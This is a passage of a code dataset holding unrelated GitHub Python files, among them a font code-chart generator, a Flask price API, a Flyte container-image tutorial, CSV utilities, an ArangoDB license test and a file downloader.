{\\\\glyphfont{\\\\tiny ${phrase} }} \\\\\\\\\n {\\\\glyphfont{\\\\scriptsize ${phrase}}} \\\\\\\\\n {\\\\glyphfont{\\\\small ${phrase}}} \\\\\\\\\n {\\\\glyphfont{ ${phrase}}} \\\\\\\\\n {\\\\glyphfont{\\\\large ${phrase}}} \\\\\\\\\n {\\\\glyphfont{\\\\huge ${phrase}}} \\\\\\\\\n \\\\end{russian}\n \n ''')\n \n with codecs.open(output, 'w', 'utf-8') as f:\n f.write(_TEMPL_HEAD.substitute(fontname=fontname))\n \n font_copyright = fnt['name'].names[0].string.decode()\n font_name = fnt['name'].names[1].string.decode()\n font_version = fnt['name'].names[5].string.decode()\n font_author = fnt['name'].names[9].string.decode()\n \n f.write(_TEMPL_FONTDOC.substitute(name=font_name, author=font_author, version=font_version, copyright=font_copyright))\n \n if 'Fedorovsk' in font_name:\n phrase = \"Хрⷭ҇то́съ вᲂскре́се и҆з ме́ртвыхъ , сме́ртїю сме́рть пᲂпра́въ , и҆ сꙋ́щымъ во грᲂбѣ́хъ живо́тъ дарᲂва́въ .\"\n elif 'Menaion' in font_name:\n phrase = \"Хрⷭ҇то́съ вᲂскр҃се и҆з̾ ме́ртвыⷯ, сме́ртїю на́ смерть настꙋпѝ, и҆ гро́бымъ живо́тъ дарᲂва̀.\"\n else:\n phrase = \"Хрⷭ҇то́съ воскре́се и҆з̾ ме́ртвыхъ, сме́ртїю сме́рть попра́въ, и҆ сꙋ́щымъ во гробѣ́хъ живо́тъ дарова́въ.\"\n \n phrase.encode('utf-8')\n b = _TEMPL_PHRASE.substitute(phrase=phrase).encode('utf-8')\n print(type(b))\n f.write(_TEMPL_PHRASE.substitute(phrase=phrase))\n \n f.write('\\\\clearpage\\n')\n \n for range_name, range_ in _RANGES:\n # DOES FONT HAVE ANY GLYPHS IN THIS RANGE?\n HAS_GLYPHS = 0\n for x in range_:\n if x in fnt['cmap'].tables[1].cmap:\n HAS_GLYPHS += 1\n \n if not HAS_GLYPHS:\n continue\n \n f.write(\"\\\\section{%s}\\n\\n\" % range_name)\n numcols = int ( (len(range_) + 15) / 16 ) # number of columns\n tablestart = range_[0]\n width = max(1.05 * (numcols + 1), 4.0); \n \n f.write(\"\\\\begin{tabu} to \" + str(width) + \"cm {X[r]|\")\n for _ in range(numcols):\n f.write(\"X[c,b]|\")\n f.write(\"}\\n\\n\")\n \n colheaders = [tablestart + i * 16 for i in range(numcols)]\n f.write('& ' + ' & '.join((\"\\\\tiny{Ux%04x\" % x)[:-1] + 'X}' for x in colheaders))\n f.write('\\\\\\\\\\n\\n')\n \n for rowidx in range(tablestart, tablestart + 16):\n line1 = []\n line2 = []\n \n for colidx in range(rowidx, rowidx + 16 * numcols, 16):\n value = \"%04x\" % colidx\n char = \"\\\\char\\\"\" + ('%04x' % colidx).upper() # chr($colidx);\n char_name = unicodedata.name(chr(colidx), '')\n \n if colidx in fnt['cmap'].tables[1].cmap:\n if \"COMBINING\" in char_name or colidx in _COMBINERS:\n line1.append(\"\\\\vspace{1mm}\\\\glyphfont{\\\\Large{\\u25CC\" + char + \"}}\")\n #if 'SIGN' not in name:\n # marx.append(char)\n else:\n line1.append(\"\\\\vspace{1mm}\\\\glyphfont{\\\\Large{\" + char + \"}}\")\n else:\n line1.append(\"\\\\vspace{1mm}\\\\glyphfont{\\\\Large{\\\\ }}\")\n \n line2.append(\"\\\\tiny{\" + value + \"}\")\n \n i = '%x' % (rowidx - tablestart)\n f.write(\"\\\\hline \" + i.upper() + \" & \" + ' & '.join(line1) + \"\\\\\\\\\\n\")\n f.write(' & ' + \" & \".join(line2) + \"\\\\\\\\\\n\")\n \n f.write(\"\\\\hline\\\\end{tabu}\\n\\n\")\n \n spec_info = os.path.join(path, fontname + '-specific-info.tex')\n if os.path.exists(spec_info):\n f.write(\"\\\\input{\" + fontname + \"-specific-info.tex}\\n\")\n \n f.write(\"\\\\end{document}\\n\")\n \n return 0\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Generates TeX file with font code tables')\n parser.add_argument('fontpath', help='path to the font file, e.g. /path/to/my/font.ttf')\n \n args = parser.parse_args()\n \n parser.exit(main_codechart(args))\n\n\nif __name__ == '__main__':\n main()","repo_name":"pgmmpk/cslavonic","sub_path":"cslavonic/cu_codechart.py","file_name":"cu_codechart.py","file_ext":"py","file_size_in_byte":8768,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"70573180749","text":"n=int(input())\narr=list(map(int,input().split()))[:n]\nk=int(input())\nfor i in range(0,len(arr)):\n if arr[i]==k:\n print(i,end=\" \")\n break\nelse:\n print(-1,end=\" \")\nfor i in range(len(arr)-1,-1,-1):\n if arr[i]==k:\n print(i,end=\" \")\n break\nelse:\n print(-1)","repo_name":"Vamsi-Praveen/codemind-python","sub_path":"_Find_First_and_Last_Position_of_Element_in_Sorted_Array.py","file_name":"_Find_First_and_Last_Position_of_Element_in_Sorted_Array.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36091108019","text":"from flask import Blueprint\n\nfrom __main__ import db\nfrom models.db_manager import *\n\nfrom models.target import Target\nfrom models.trader_joes import Trader_Joes\n\nprices_api_bp = Blueprint('api/prices', __name__)\n\n\"\"\"\nURL - /api/prices/id=1&lat=12.34&lon=12.45&zip=85201\n Given a product id, it retrieves the product's price from all appropriate stores\n Parameters -\n product_id: int - product identification number\n lat: string - latitude\n lon: string - longitude\n zipcode: string - 5 digit zipcode number\n Returns - dictionary containing product information and prices for various stores\n\"\"\"\n@prices_api_bp.route('/id=&zip=')\ndef get_price(product_id, zipcode):\n product = products.query.get_or_404(product_id)\n\n if product.target_tcin != '0':\n target_price = Target().get_price(product.target_tcin, zipcode)\n if product.traderjoes_sku != '0':\n traderjoes_price = Trader_Joes().get_price(product.traderjoes_sku)\n\n prices = {\n 'name': product.name,\n 'image': product.image,\n 'id': product_id,\n 'target_price': target_price if 'target_price' in locals() else 'N/A',\n 'traderjoes_price': traderjoes_price if 'traderjoes_price' in locals() else 'N/A'\n }\n\n return prices","repo_name":"arianadaris/grocery-store-comparison","sub_path":"controllers/prices_api.py","file_name":"prices_api.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22672850027","text":"def RomanNumeralReduction(strParam):\r\n \r\n #This part converts the roman number to integer\r\n num = int()\r\n for i in strParam:\r\n if i == \"I\": num += 1\r\n elif i == \"V\": num += 5\r\n elif i == \"X\": num += 10\r\n elif i == \"L\": num += 50\r\n elif i == \"C\": num += 100\r\n elif i == \"D\": num += 500\r\n elif i == \"M\": num += 1000\r\n \r\n roman_num = str()\r\n#A letter can't occur more than 3 times in a row in a roman number.\r\n\r\n M = [\"\", \"M\", \"MM\", \"MMM\"] #thousands\r\n C = [\"\", \"C\", \"CC\", \"CCC\", \"CD\", \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\"] #hundreds\r\n X = [\"\", \"X\", \"XX\", \"XXX\", \"XL\", \"L\", \"LX\", \"LXX\", \"LXXX\", \"XC\"] #tens\r\n I = [\"\", \"I\", \"II\", \"III\", \"IV\", \"V\", \"VI\", \"VII\", \"VII\", \"IX\"] #ones\r\n\r\n thousands = M[num // 1000]\r\n hundreds = C[(num % 1000) // 100]\r\n tens = X[(num % 100) // 10]\r\n ones = I[(num % 10) // 1]\r\n\r\n roman_num = (thousands + hundreds + tens + ones)\r\n\r\n return roman_num\r\n\r\nprint(RomanNumeralReduction(input()))\r\n","repo_name":"emreozener/Coderbyte-Problems","sub_path":"coderbyte/coderbyte week_3/roman to int to roman (hard).py","file_name":"roman to int to roman (hard).py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21082088933","text":"# %% [markdown]\n# (image_spec_example)=\n#\n# # Building Docker Images without a Dockerfile\n#\n# ```{eval-rst}\n# .. tags:: Containerization, Intermediate\n# ```\n#\n# :::{note}\n# This is an experimental feature, which is subject to change the API in the future.\n# :::\n#\n# Image Spec is a way to specify how to build a container image without a Dockerfile. The image spec by default will be\n# converted to an [Envd](https://envd.tensorchord.ai/) config, and the [Envd builder](https://github.com/flyteorg/flytekit/blob/master/plugins/flytekit-envd/flytekitplugins/envd/image_builder.py#L12-L34) will build the image for you. However, you can also register your own builder to build\n# the image using other tools.\n#\n# For every {py:class}`flytekit.PythonFunctionTask` task or a task decorated with the `@task` decorator,\n# you can specify rules for binding container images. By default, flytekit binds a single container image, i.e.,\n# the [default Docker image](https://ghcr.io/flyteorg/flytekit), to all tasks. To modify this behavior,\n# use the `container_image` parameter available in the {py:func}`flytekit.task` decorator, and pass an\n# `ImageSpec`.\n#\n# Before building the image, Flytekit checks the container registry first to see if the image already exists. By doing\n# so, it avoids having to rebuild the image over and over again. If the image does not exist, flytekit will build the\n# image before registering the workflow, and replace the image name in the task template with the newly built image name.\n# %%\nimport typing\n\nimport pandas as pd\nfrom flytekit import ImageSpec, Resources, task, workflow\n\n# %% [markdown]\n# :::{admonition} Prerequisites\n# :class: important\n#\n# - Install [flytekitplugins-envd](https://github.com/flyteorg/flytekit/tree/master/plugins/flytekit-envd) to build the image spec.\n# - To build the image on remote machine, check this [doc](https://envd.tensorchord.ai/teams/context.html#start-remote-buildkitd-on-builder-machine).\n# - When using a registry in ImageSpec, `docker login` is required to push the image\n# :::\n\n# %% [markdown]\n# You can specify python packages, apt packages, and environment variables in the `ImageSpec`.\n# These specified packages will be added on top of the [default image](https://github.com/flyteorg/flytekit/blob/master/Dockerfile), which can be found in the Flytekit Dockerfile.\n# More specifically, flytekit invokes [DefaultImages.default_image()](https://github.com/flyteorg/flytekit/blob/f2cfef0ec098d4ae8f042ab915b0b30d524092c6/flytekit/configuration/default_images.py#L26-L27) function.\n# This function determines and returns the default image based on the Python version and flytekit version. For example, if you are using python 3.8 and flytekit 0.16.0, the default image assigned will be `ghcr.io/flyteorg/flytekit:py3.8-1.6.0`.\n# If desired, you can also override the default image by providing a custom `base_image` parameter when using the `ImageSpec`.\n# %%\npandas_image_spec = ImageSpec(\n base_image=\"ghcr.io/flyteorg/flytekit:py3.8-1.6.2\",\n packages=[\"pandas\", \"numpy\"],\n python_version=\"3.9\",\n apt_packages=[\"git\"],\n env={\"Debug\": \"True\"},\n registry=\"ghcr.io/flyteorg\",\n)\n\nsklearn_image_spec = ImageSpec(\n base_image=\"ghcr.io/flyteorg/flytekit:py3.8-1.6.2\",\n packages=[\"scikit-learn\"],\n registry=\"ghcr.io/flyteorg\",\n)\n\n# %% [markdown]\n# `is_container` is used to determine whether the task is utilizing the image constructed from the `ImageSpec`.\n# If the task is indeed using the image built from the `ImageSpec`, it will then import Tensorflow.\n# This approach helps minimize module loading time and prevents unnecessary dependency installation within a single image.\n# %%\nif sklearn_image_spec.is_container():\n from sklearn.linear_model import LogisticRegression\n\n\n# %% [markdown]\n# To enable tasks to utilize the images built with `ImageSpec`, you can specify the `container_image` parameter for those tasks.\n# %%\n@task(container_image=pandas_image_spec)\ndef get_pandas_dataframe() -> typing.Tuple[pd.DataFrame, pd.Series]:\n df = pd.read_csv(\"https://storage.googleapis.com/download.tensorflow.org/data/heart.csv\")\n print(df.head())\n return df[[\"age\", \"thalach\", \"trestbps\", \"chol\", \"oldpeak\"]], df.pop(\"target\")\n\n\n@task(container_image=sklearn_image_spec, requests=Resources(cpu=\"1\", mem=\"1Gi\"))\ndef get_model(max_iter: int, multi_class: str) -> typing.Any:\n return LogisticRegression(max_iter=max_iter, multi_class=multi_class)\n\n\n# Get a basic model to train.\n@task(container_image=sklearn_image_spec, requests=Resources(cpu=\"1\", mem=\"1Gi\"))\ndef train_model(model: typing.Any, feature: pd.DataFrame, target: pd.Series) -> typing.Any:\n model.fit(feature, target)\n return model\n\n\n# Lastly, let's define a workflow to capture the dependencies between the tasks.\n@workflow()\ndef wf():\n feature, target = get_pandas_dataframe()\n model = get_model(max_iter=3000, multi_class=\"auto\")\n train_model(model=model, feature=feature, target=target)\n\n\nif __name__ == \"__main__\":\n wf()\n\n# %% [markdown]\n# There exists an option to override the container image by providing an Image Spec YAML file to the `pyflyte run` or `pyflyte register` command.\n# This allows for greater flexibility in specifying a custom container image. For example:\n#\n# ```yaml\n# # imageSpec.yaml\n# python_version: 3.11\n# registry: pingsutw\n# packages:\n# - sklearn\n# env:\n# Debug: \"True\"\n# ```\n#\n# ```\n# # Use pyflyte to register the workflow\n# pyflyte run --remote --image image.yaml image_spec.py wf\n# ```\n\n# %% [markdown]\n# If you only want to build the image without registering the workflow, you can use the `pyflyte build` command.\n#\n# ```\n# pyflyte build --remote image_spec.py wf\n# ```\n#\n","repo_name":"flyteorg/flytesnacks","sub_path":"examples/customizing_dependencies/customizing_dependencies/image_spec.py","file_name":"image_spec.py","file_ext":"py","file_size_in_byte":5702,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"82"} +{"seq_id":"2776472328","text":"# -*- coding: utf-8 -*-\n\nimport GlobalHWVar\nimport Codice.Variabili.GlobalGameVar as GlobalGameVar\nimport Codice.GestioneNemiciPersonaggi.NemicoObj as NemicoObj\n\n\ndef setNemici(stanza, listaNemiciTotali, listaNemici, avanzamentoStoria):\n if stanza == GlobalGameVar.dictStanze[\"sognoSara2\"]:\n percorsoNemico = [\"s\", \"d\", \"d\", \"w\", \"w\", \"w\", \"a\", \"a\", \"s\", \"s\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 6, GlobalHWVar.gsy // 18 * 7, \"s\", \"Orco\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n percorsoNemico = [\"s\", \"s\", \"w\", \"w\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 28, GlobalHWVar.gsy // 18 * 2, \"s\", \"Orco\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n percorsoNemico = [\"d\", \"d\", \"d\", \"d\", \"a\", \"a\", \"a\", \"a\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 22, GlobalHWVar.gsy // 18 * 4, \"d\", \"Orco\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n elif stanza == GlobalGameVar.dictStanze[\"sognoSara3\"]:\n percorsoNemico = [\"a\", \"a\", \"a\", \"w\", \"w\", \"w\", \"d\", \"d\", \"d\", \"s\", \"s\", \"s\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 9, GlobalHWVar.gsy // 18 * 8, \"s\", \"Pipistrello\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n percorsoNemico = [\"d\", \"d\", \"s\", \"s\", \"s\", \"d\", \"a\", \"a\", \"a\", \"s\", \"a\", \"w\", \"w\", \"w\", \"w\", \"d\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 16, GlobalHWVar.gsy // 18 * 5, \"d\", \"Pipistrello\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n percorsoNemico = [\"w\", \"a\", \"s\", \"a\", \"d\", \"d\"]\n nemico = NemicoObj.NemicoObj(GlobalHWVar.gsx // 32 * 12, GlobalHWVar.gsy // 18 * 10, \"w\", \"Orco\", stanza, percorsoNemico)\n listaNemiciTotali.append(nemico)\n listaNemici.append(nemico)\n\n return listaNemiciTotali, listaNemici\n\n\ndef setPersonaggi(stanza, listaPersonaggiTotali, listaPersonaggi, avanzamentoStoria, listaAvanzamentoDialoghi):\n return listaPersonaggiTotali, listaPersonaggi\n","repo_name":"LucaChioni/OffToSleep","sub_path":"FileProgetto/Codice/SettaggiLivelli/PosizNemiciPersonaggiPerZona/PosizSogno.py","file_name":"PosizSogno.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70593784908","text":"import csv\r\nfrom tqdm import tqdm\r\nimport os\r\n\r\n\r\nold_csv_file = \"\"\r\nnew_csv_file = \"\"\r\nsource_folder = r\"\"\r\n\r\n\r\ndef bg(bg_info):# anotets all files in folder\r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_list = list(csvreader)\r\n\r\n file_list = os.listdir(source_folder)\r\n\r\n new_list = old_list\r\n \r\n for file_name in tqdm(file_list):\r\n for index,row in enumerate(old_list):\r\n if row[0] == file_name:\r\n new_list[index][5] = bg_info\r\n \r\n with open(old_csv_file, mode=\"w\", newline=\"\") as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\n\r\ndef switch_name():# swaps name from 6th positon\r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_list = list(csvreader)\r\n\r\n new_list = []\r\n\r\n for index,row in tqdm(enumerate(old_list)):\r\n new_list.append(row)\r\n new_list[index][0] = row[6]\r\n new_list[index][1:4] = row[1:4]\r\n new_list[index][5] = None\r\n new_list[index][6] = None\r\n \r\n with open(new_csv_file, mode=\"w\", newline=\"\") as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\ndef delete_nobg():# delets info about image which does not have bg anotation\r\n new_list = []\r\n \r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_csv_list = list(csvreader)\r\n \r\n for row in tqdm(old_csv_list):\r\n if row[5] in [\"0\", \"1\"]:\r\n new_list.append(row)\r\n \r\n with open(new_csv_file, mode=\"w\", newline=\"\") as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\ndef add_column():# adds empty column to the \r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_csv_list = list(csvreader)\r\n \r\n for row in tqdm(old_csv_list):\r\n row.append(\"\")\r\n \r\n with open(old_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(old_csv_list)\r\n\r\ndef new_bg_csv(bg):\r\n new_list = []\r\n \r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n next(csvreader)\r\n\r\n old_csv_list = list(csvreader)\r\n\r\n for row in tqdm(old_csv_list):\r\n if int(row[5]) == bg:\r\n new_list.append(row)\r\n\r\n with open(new_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\ndef rewrite_csv_with_csv(): #highly un-effective\r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader1 = csv.reader(csvfile)\r\n next(csvreader1)\r\n old_csv_list = list(csvreader1)\r\n \r\n with open(new_csv_file, 'r') as csvfile:\r\n csvreader2 = csv.reader(csvfile)\r\n next(csvreader2)\r\n new_csv_list = list(csvreader2)\r\n \r\n for src_row in tqdm(old_csv_list):\r\n for index,new_row in enumerate(new_csv_list):\r\n if src_row[0] == new_row[0]:\r\n new_csv_list[index] = src_row\r\n break\r\n \r\n with open(new_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(new_csv_list)\r\n\r\ndef rename_files(start_value): #dont kill for this code, but it just works. It is what is \r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_list = list(csvreader)\r\n new_list = old_list\r\n name = start_value\r\n \r\n for index,row in tqdm(enumerate(old_list)):\r\n name += 1\r\n new_list[index][0] = str(name) + \".jpg\"\r\n \r\n with open(old_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\ndef delete_in_csv_if_not_in_folder():\r\n file_list = os.listdir(source_folder)\r\n \r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n old_list = list(csvreader)\r\n new_list = []\r\n \r\n for file_name in tqdm(file_list):\r\n for row in old_list:\r\n if file_name == row[0]:\r\n new_list.append(row)\r\n \r\n with open(old_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(new_list)\r\n\r\ndef sort_order_by_name(): #not working\r\n with open(old_csv_file, 'r') as csvfile:\r\n csvreader = csv.reader(csvfile)\r\n next(csvreader)\r\n old_list = list(csvreader)\r\n\r\n sorted_list = sorted(old_list, key=lambda x: int(x[0][:-4]))\r\n \r\n with open(old_csv_file, mode=\"w\", newline=\"\") as csvfile:\r\n csv_writer = csv.writer(csvfile, delimiter=\",\")\r\n csv_writer.writerows(sorted_list)\r\n","repo_name":"VitekKvitek/Car_data_sets","sub_path":"csv_mod.py","file_name":"csv_mod.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42160705835","text":"import sys\nsys.stdin = open('input.txt')\n\nimport heapq\n\n\n# 하우상좌\ndx = [1, 0, -1, 0]\ndy = [0, 1, 0, -1]\n\nTC = 0 # 테스트 케이스\nwhile True:\n TC += 1 # 테스트 케이스 마다 1씩 증가\n\n N = int(input()) # N: 동굴의 크기\n\n if not N: # 테스트 케이스 끝\n break\n\n cave = [list(map(int, input().split())) for _ in range(N)]\n\n dist = [[99999999 for _ in range(N)] for _ in range(N)]\n\n que = []\n heapq.heappush(que, [cave[0][0], 0, 0]) # 시작점부터 도둑 루피 존재할 수 있기 때문에 0이 아닌 cave[0][0]로 처리\n dist[0][0] = cave[0][0]\n\n while que:\n s, x, y = heapq.heappop(que)\n\n if x == N-1 and y == N-1: # 도착\n print('Problem {}: {}'.format(TC, s))\n break\n\n if dist[x][y] < s: # 백트래킹\n continue\n\n for d in range(4):\n nx = x + dx[d]\n ny = y + dy[d]\n if 0 <= nx < N and 0 <= ny < N:\n ns = s + cave[nx][ny]\n if dist[nx][ny] > ns:\n dist[nx][ny] = ns\n heapq.heappush(que, [ns, nx, ny])\n\n\n\n'''\nimport sys\nsys.stdin = open('input.txt')\nINF = sys.maxsize\n\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\nT = 1\nwhile True:\n N = int(input())\n if N == 0:\n break\n data = [list(map(int, input().split())) for _ in range(N)]\n\n dist = [[INF]*(N) for _ in range(N)]\n\n q = []\n q.append((0, 0))\n dist[0][0] = data[0][0]\n\n while q:\n x, y = q.pop(0)\n\n for d in range(4):\n nx = x + dx[d]\n ny = y + dy[d]\n if 0 <= nx < N and 0 <= ny < N:\n if dist[x][y] + data[nx][ny] < dist[nx][ny]:\n dist[nx][ny] = dist[x][y] + data[nx][ny]\n q.append((nx, ny))\n\n print('Problem {}: {}'.format(T, dist[N-1][N-1]))\n T += 1\n'''","repo_name":"wonjongjang/Algorithm","sub_path":"Baekjoon/4485.py","file_name":"4485.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70113225478","text":"\"\"\"License manager tests: leader-follower\"\"\"\n\n# pylint: disable=import-error\nfrom arangodb.async_client import CliExecutionException\nfrom license_manager_tests.base.leader_follower_base import LicenseManagerLeaderFollowerBaseTestSuite\nfrom reporting.reporting_utils import step\nfrom test_suites_core.base_test_suite import testcase, disable\nfrom test_suites_core.cli_test_suite import CliTestSuiteParameters\n\n\nclass LicenseManagerLeaderFollowerTestSuite(LicenseManagerLeaderFollowerBaseTestSuite):\n \"\"\"License manager tests: leader-follower\"\"\"\n\n def __init__(self, params: CliTestSuiteParameters):\n super().__init__(params)\n self.suite_name = \"License manager tests: Clean install\"\n\n @testcase\n def clean_install_temp_license(self):\n \"\"\"Check that server gets a 60-minute license after installation on a clean system\"\"\"\n self.check_that_license_is_not_expired(50 * 60)\n\n @testcase\n def goto_read_only_mode_when_license_expired(self):\n \"\"\"Check that system goes to read-only mode when license is expired on leader\"\"\"\n self.expire_license()\n self.check_readonly()\n\n @disable\n @testcase\n def expire_license_on_follower(self):\n \"\"\"Check that follower goes to read-only mode when license is expired\"\"\"\n with step(\"Expire license on follower\"):\n # pylint: disable=attribute-defined-outside-init\n self.starter = self.runner.follower_starter_instance\n self.expire_license()\n self.starter = self.runner.leader_starter_instance\n with step(\"Create collection on leader\"):\n self.runner.leader_starter_instance.arangosh.run_command(\n (\"create collection\", 'db._create(\"checkExpireLicenseOnFollower\");'), True, expect_to_fail=False\n )\n with step(\"Check that collection wasn't replicated to follower\"):\n try:\n self.runner.follower_starter_instance.arangosh.run_command(\n (\"try to read collection\", \"db._query('FOR doc IN checkExpireLicenseOnFollower RETURN doc');\"),\n True,\n expect_to_fail=True,\n )\n except CliExecutionException as ex:\n raise Exception(\n \"Collection was replicated to follower after license expiry. Follower must be in read-only mode!\"\n ) from ex\n","repo_name":"arangodb/release-test-automation","sub_path":"release_tester/license_manager_tests/leader_follower.py","file_name":"leader_follower.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"1454479246","text":"source(\"../../shared/qtcreator.py\")\n\ndef verifyChangeProject(projectName):\n projItem = invokeContextMenuOnProject(projectName, 'Set \"%s\" as Active Project' % projectName)\n waitFor(\"projItem.font.bold==True\", 3000)\n # check if bold is right project\n test.verify(projItem.font.bold == True,\n \"Multiple projects - verifying if active project is set to \" + projectName)\n\ndef main():\n projectName1 = \"SampleApp1\"\n projectName2 = \"SampleApp2\"\n startQC()\n if not startedWithoutPluginError():\n return\n # create qt quick application 1\n createNewQtQuickApplication(tempDir(), projectName1)\n # create qt quick application 2\n createNewQtQuickApplication(tempDir(), projectName2)\n # change to project 1\n verifyChangeProject(projectName1)\n # change to project 2\n verifyChangeProject(projectName2)\n # build project 2\n clickButton(waitForObject(\":*Qt Creator.Build Project_Core::Internal::FancyToolButton\"))\n # wait for build to complete\n waitForCompile()\n # check output if build successful\n ensureChecked(waitForObject(\":Qt Creator_CompileOutput_Core::Internal::OutputPaneToggleButton\"))\n outputLog = str(waitForObject(\":Qt Creator.Compile Output_Core::OutputWindow\").plainText)\n # verify that project was built successfully\n test.verify(compileSucceeded(outputLog),\n \"Verifying building of simple qt quick application while multiple projects are open.\")\n # verify that proper project (project 2) was build\n test.verify(projectName2 in outputLog and projectName1 not in outputLog,\n \"Verifying that proper project \" + projectName2 + \" was built.\")\n # exit qt creator\n invokeMenuItem(\"File\", \"Exit\")\n","repo_name":"qt-creator/qt-creator","sub_path":"tests/system/suite_SCOM/tst_SCOM05/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":2230,"dataset":"github-code","pt":"62"} +{"seq_id":"28468215207","text":"import pandas as pd\nfrom sklearn.metrics.pairwise import euclidean_distances\n\ndef cluster(df1, player):\n # Create the input variables\n x = df1.loc[df1[\"Player\"]==player]\n x = x.drop(columns=[\"Player\", \"Tm\", \"Pos\", \"Salary\"])\n\n y = df1.drop(columns=[\"Player\", \"Tm\", \"Pos\", \"Salary\"])\n\n # Calculate the distance between players\n df1[\"Distance\"] = euclidean_distances(x, y)[0]\n\n # Sort the players by distance to the target\n df1 = df1.sort_values(by=\"Distance\", ascending=True).reset_index(drop=True)\n \n # Return the top 5 closest players\n return df1[1:6]\n\n\n\n\n\n","repo_name":"aburstyn9068/nba_player_comparison","sub_path":"distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18119236382","text":"import re\nimport os\nimport requests\n\nskipped_files = []\n\n\n# Not my own code. Stole this from Stackoverflow. Thanks Alexander McFarlane.\ndef get_download_path():\n \"\"\"Returns the default downloads path for linux or windows\"\"\"\n if os.name == 'nt':\n import winreg\n sub_key = r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders'\n downloads_guid = '{374DE290-123F-4565-9164-39C4925E467B}'\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, sub_key) as key:\n location_download = winreg.QueryValueEx(key, downloads_guid)[0]\n return location_download\n else:\n return os.path.join(os.path.expanduser('~'), 'downloads')\n\n\n# Also from stack btw. I couldn't note the name.\ndef find_all(a_str, sub):\n start = 0\n while True:\n start = a_str.find(sub, start)\n if start == -1:\n return\n yield start\n start += len(sub)\n\n\ndef create_directories(directory_path_list, download_folder):\n for i in directory_path_list:\n if os.path.exists(os.path.join(download_folder, i)):\n print(f'{i} exists')\n else:\n os.mkdir(os.path.join(download_folder, i))\n print(f'Created folder {i}')\n\n\ndef download_files(url, location_file):\n print(f'Downloading file {location_file}')\n retried = False\n try:\n r = requests.get(url, timeout=None)\n r.raise_for_status()\n downloaded_file = open(location_file, 'wb')\n for chunk in r.iter_content(100000):\n downloaded_file.write(chunk)\n print(f'Downloaded {location_file}')\n if [url, location_file] in skipped_files:\n skipped_files.remove([url, location_file])\n except Exception as e:\n print(\"File was skipped.\")\n if not [url, location_file] in skipped_files:\n skipped_files.append([url, location_file])\n\n\ndef downloader_main():\n folder_names = []\n file_names = []\n folder_file = open('tempFolder.txt', 'r')\n file_file = open('tempFile.txt', 